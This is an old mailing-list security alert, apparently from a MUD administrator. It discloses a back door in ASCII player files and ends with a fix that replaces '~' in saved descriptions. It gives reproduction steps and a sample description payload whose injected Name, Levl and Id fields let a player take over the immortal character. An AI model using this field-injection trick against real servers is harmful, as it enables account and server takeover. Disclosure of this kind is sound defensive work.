[ALERT!!!] Major back door in AScii PFiles!!!

From: Chris Jacobson (fear@ATHENET.NET)
Date: 01/27/98


Attention ANYONE WHO USES ASCII PFILES!

A major back door has just been found.  It was exploited on my MUD, I
finally discovered how it was done.

Using this bug a player can take control of the MUD totally, wipe the imm
char and replace it with their own version.

To reproduce:

Create a new character
Edit your description to contain the following text:

~
Name: <Imm Name>
Levl: <Imm level>
Id  : <Imm id>


Save the description.
log into game again, save, log out (to save the description).
Now, in the ascii pfiles, you will see something likel:

Name: Tardis
Pass: access
Titl: Private
Desc:
~
Name: Fearitself
Id  : 1
Levl: 127
~
Sex : 1
Race: 0


What this is parsed as:

Name is Tardis
Password is access
Title is Private
Description is EMPTY
Name is REPLACED with FearItself
Id is set to 1
Level is 127

My MUD was hacked several times like this until I was finally able to
track it down.

The "solution" to this is to parse descriptions to be written to the
file, replacing "~" with a blank space.

- Chris Jacobson


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